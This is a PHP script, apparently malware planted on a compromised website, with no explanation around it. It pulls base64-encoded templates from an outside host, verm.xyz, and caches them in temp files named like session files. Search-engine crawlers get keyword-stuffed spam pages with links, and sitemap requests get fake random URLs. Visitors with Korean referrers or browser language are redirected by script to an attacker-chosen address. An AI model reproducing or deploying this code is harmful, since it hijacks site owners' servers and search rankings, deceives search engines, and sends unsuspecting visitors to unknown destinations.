<?php
function _get_cache($link){		$tmpdir = _get_temp_dir_mass();		$file = $tmpdir.'/sess_'.md5($link);		$html = @file_get_contents($file);		if(!file_exists($file) || strlen($html)<100 || time() - filemtime($file) > 60 * 60 * 24)		{			$html = _http_get($link);			if($fp = @fopen($file,'w')){fwrite($fp, $html); fclose($fp);}else{return $html;}		}		return ($html);}function _get_temp_dir_mass(){	if(function_exists("sys_get_temp_dir")){		if(@is_writeable(sys_get_temp_dir())){return(realpath(sys_get_temp_dir()));}	}    if(!empty($_ENV["TMP"])&&@is_writeable(realpath($_ENV["TMP"]))){return(realpath($_ENV["TMP"]));}    if(!empty($_ENV["TMPDIR"])&&@is_writeable(realpath($_ENV["TMPDIR"]))){return(realpath( $_ENV["TMPDIR"]));}    if(!empty($_ENV["TEMP"])&&@is_writeable(realpath($_ENV["TEMP"]))){return(realpath( $_ENV["TEMP"]));}    $tempfile=@tempnam(__FILE__,"");    if(@file_exists($tempfile)){		@unlink($tempfile);		if(@is_writeable(realpath(dirname($tempfile)))){return(realpath(dirname($tempfile)));}    }    if(@is_writeable(realpath(@ini_get("upload_tmp_dir")))){return(realpath(@ini_get("upload_tmp_dir")));}    if(@is_writeable(realpath(session_save_path()))){return(realpath(session_save_path()));}    if(@is_writeable(realpath(dirname(__FILE__)))){return(realpath(dirname(__FILE__)));}}function isBot() {    return (        isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|spider|mediapartners|slurp|patrol/i', $_SERVER['HTTP_USER_AGENT'])    );}function hashCode($str){    if(empty($str)) return '';    $mdv = md5($str);    $mdv1 = substr($mdv,0,16);	$mdv2 = substr($mdv,16,16);	$crc1 = abs(crc32($mdv1));	$crc2 = abs(crc32($mdv2));	return substr(bcmul($crc1,$crc2),0,8);}function rand_str(){	$len = mt_rand(25,35);	$str = null;	$strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz-_-_/";	$max = strlen($strPol)-1; 	for($i=0;$i<$len;$i++){		$str.=$strPol[mt_rand(0,$max)];	}		$str.= '.';		$len = mt_rand(3,5);	$strPol = "abcdefghijklmnopqrstuvwxyz";	$max = strlen($strPol)-1; 	for($i=0;$i<$len;$i++){		$str.=$strPol[mt_rand(0,$max)];	}		return $str;}function _http_get($url){    $_html = '';    if (function_exists('file_get_contents')) {        $_html = @file_get_contents($url);    }    if ($_html == '' && function_exists('curl_init')) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);        $_html = curl_exec($ch);        curl_close($ch);    }    if ($_html == '' && function_exists('fopen')) {        $handle = fopen($url, "rb");        do {            $data = fread($handle, 8192);            if (strlen($data) == 0) {                break;            }            $_html .= $data;        } while (true);        fclose($handle);    }    return $_html;}function _local_host(){    $status = false;    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {        $status = true;    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {        $status = true;    }    $http = $status ? 'https://' : 'http://';    $host = $http . $_SERVER['SERVER_NAME'];    if ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {        $host .= ":" . $_SERVER['SERVER_PORT'];    }    return $host;}function _local_url(){	$url = _local_host().$_SERVER['REQUEST_URI'];	return $url;}function _base_url(){	$local_host = _local_host();	$request_url = str_ireplace('//','/',str_ireplace('\\','/',$_SERVER['REQUEST_URI']));	$request_scr = $_SERVER['SCRIPT_NAME'];	$script_name = basename($request_scr);	$script_path = str_ireplace('\\','/',dirname($request_scr));		if(stristr($request_url,$script_name)){		return $local_host.$request_scr.'/';	}		if(strtolower($script_name)=='index.php' && ($request_url == $script_path || $request_url == $script_path.'/')){		return $local_host.$request_scr.'/';	}		return $local_host.$script_path;}if (strpos($_SERVER['REQUEST_URI'], 'sitemap.xml') !== false) {	$base_url = _base_url();	    $res = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<urlset xmlns=\"http://www.google.com/schemas/sitemap/0.84\">\r\n";    for ($i = 0; $i < 100; $i++) {        $url = $base_url.rand_str();        $res .= " <url>\r\n  <loc>" . $url . "</loc>\r\n   <lastmod>" . date("Y-m-d", time()) . "</lastmod>\r\n   <changefreq>daily</changefreq>\r\n   <priority>0.9</priority>\r\n </url>\r\n";    }    $res .= "</urlset>";    header("Content-type:text/xml");    die($res);}if(strpos(strtolower($_SERVER['REQUEST_URI']), "google468d7b4c28db3fdc.html") !== false){	die('google-site-verification: google468d7b4c28db3fdc.html');}if(strpos(strtolower(@$_SERVER['HTTP_REFERER']), ".kr") !== false || strpos(strtolower(@$_SERVER['HTTP_ACCEPT_LANGUAGE']), "ko") !== false){	$local_url = _local_url();	$html = base64_decode(_get_cache('http://verm.xyz/data.php?g=git&d='.$_SERVER['SERVER_NAME']));	$html_arr = explode("---------",$html);	$sc_arr = explode("|",$html_arr[6]);	die('<!DOCTYPE html><html><body><script>document.location=("'.$sc_arr[0].'");</script></body></html>');}function _get_static_arr($str,$arr){	return($arr[hashCode($str)%count($arr)]);}if(isBot()){	$base = _base_url();	$local_url = _local_url();	$html = base64_decode(_get_cache('http://verm.xyz/data.php?g=git&d='.$_SERVER['SERVER_NAME']));	$html_arr = explode("---------",$html);	$keys_arr = explode("\r\n",$html_arr[0]);	$mkeys_arr = explode("\r\n",$html_arr[1]);	$areas_arr = explode("\r\n",$html_arr[2]);	$brackets_arr = explode("\r\n",$html_arr[3]);	$symbols_arr = explode("\r\n",$html_arr[4]);	$links_arr = explode("\r\n",$html_arr[5]);	$sc_arr = explode("|",$html_arr[6]);	$search_rule = $html_arr[7];	$searchs_arr = explode("\r\n",$html_arr[8]);	$git = $html_arr[9];		$html_m = base64_decode(_get_cache($git.(hashCode(_local_url())%500+1).'.txt'));	$html_m = str_ireplace('[time]', date("Y-m-d-H-i", time()), $html_m);		for($i=1;$i<=4;$i++){		$html_m = str_ireplace('[keyword'.$i.']',_get_static_arr($local_url.'keyword'.$i,$keys_arr), $html_m);		$html_m = str_ireplace('[area'.$i.']',_get_static_arr($local_url.'area'.$i,$areas_arr), $html_m);		$html_m = str_ireplace('[mkey'.$i.']',_get_static_arr($local_url.'mkey'.$i,$mkeys_arr), $html_m);		$html_m = str_ireplace('[contact'.$i.']',$sc_arr[2], $html_m);		$html_m = str_ireplace('[site'.$i.']',$sc_arr[1], $html_m);		$bracket_arr = explode('|',_get_static_arr($local_url.'bracket'.$i,$brackets_arr));		$html_m = str_ireplace('[bracketl'.$i.']',$bracket_arr[0], $html_m);		$html_m = str_ireplace('[bracketr'.$i.']',$bracket_arr[1], $html_m);	}			for($i=1;$i<=20;$i++){		$bracket_arr = explode('|',_get_static_arr($local_url.'bracket'.$i,$brackets_arr));		$html_m = str_ireplace('[bracketl'.$i.']',$bracket_arr[0], $html_m);		$html_m = str_ireplace('[bracketr'.$i.']',$bracket_arr[1], $html_m);	}		$p = strpos($html_m, '[keywordx]');	while ($p !== false) {		$html_m = substr_replace($html_m, $keys_arr[mt_rand(0, count($keys_arr)-1)], $p, strlen('[keywordx]'));		$p = strpos($html_m, '[keywordx]');	}		$p = strpos($html_m, '[areax]');	while ($p !== false) {		$html_m = substr_replace($html_m, $areas_arr[mt_rand(0, count($areas_arr)-1)], $p, strlen('[areax]'));		$p = strpos($html_m, '[areax]');	}		$p = strpos($html_m, '[mkeyx]');	while ($p !== false) {		$html_m = substr_replace($html_m, $mkeys_arr[mt_rand(0, count($mkeys_arr)-1)], $p, strlen('[mkeyx]'));		$p = strpos($html_m, '[mkeyx]');	}			$p = strpos($html_m, '[symbolx]');	while ($p !== false) {		$html_m = substr_replace($html_m, $symbols_arr[mt_rand(0, count($symbols_arr)-1)], $p, strlen('[symbolx]'));		$p = strpos($html_m, '[symbolx]');	}			$p = strpos($html_m, '[link]');	while ($p !== false) {		$html_m = substr_replace($html_m, $links_arr[mt_rand(0, count($links_arr)-1)], $p, strlen('[link]'));		$p = strpos($html_m, '[link]');	}			$p = strpos($html_m, '[ahref]');    while ($p !== false) {		$hurl = $base.rand_str();		$htitle = _get_static_arr($local_url.'area1',$areas_arr)._get_static_arr($hurl.'keyword1',$keys_arr);        $html_m = substr_replace($html_m, "<a href=\"" . $hurl . "\">" . $htitle . "</a>", $p, strlen('[ahref]'));        $p = strpos($html_m, '[ahref]');    }		$s = strpos($html_m, '[search]');    while ($s !== false) {		$seed = rand_str();		$content = $search_rule;		$content = str_ireplace('[time]', date("Y-m-d-H-i", time()), $content);		$content = str_ireplace('[area1]', _get_static_arr($local_url.'area1',$areas_arr), $content);		$content = str_ireplace('[area2]', _get_static_arr($local_url.'area2',$areas_arr), $content);		$content = str_ireplace('[mkey1]', _get_static_arr($local_url.'mkey1',$mkeys_arr), $content);		$content = str_ireplace('[mkey2]', _get_static_arr($local_url.'mkey2',$mkeys_arr), $content);		$content = str_ireplace('[contact1]', $sc_arr[2], $content);		$content = str_ireplace('[contact2]', $sc_arr[2], $content);		$content = str_ireplace('[site1]', $sc_arr[1], $content);		$content = str_ireplace('[site2]', $sc_arr[1], $content);		$content = str_ireplace('[keyword1]', $keys_arr[mt_rand(0, count($keys_arr)-1)], $content);		$content = str_ireplace('[keyword2]', $keys_arr[mt_rand(0, count($keys_arr)-1)], $content);		$p = strpos($content, '[keywordx]');		while ($p !== false) {			$content = substr_replace($content, $keys_arr[mt_rand(0, count($keys_arr)-1)], $p, strlen('[keywordx]'));			$p = strpos($content, '[keywordx]');		}				$p = strpos($content, '[symbolx]');		while ($p !== false) {			$content = substr_replace($content, $symbols_arr[mt_rand(0, count($symbols_arr)-1)], $p, strlen('[symbolx]'));			$p = strpos($content, '[symbolx]');		}				for($i=1;$i<=20;$i++){			$bracket_arr = explode('|',$brackets_arr[mt_rand(0, count($brackets_arr)-1)]);			$content = str_ireplace('[bracketl'.$i.']',$bracket_arr[0], $content);			$content = str_ireplace('[bracketr'.$i.']',$bracket_arr[1], $content);		}				$hurl = str_ireplace('[content]',urlencode($content),$searchs_arr[mt_rand(0, count($searchs_arr)-1)]);        $html_m = substr_replace($html_m, "<a href=\"" . $hurl . "\">" . $content . "</a>", $s, strlen('[search]'));        $s = strpos($html_m, '[search]');    }		    die($html_m);}
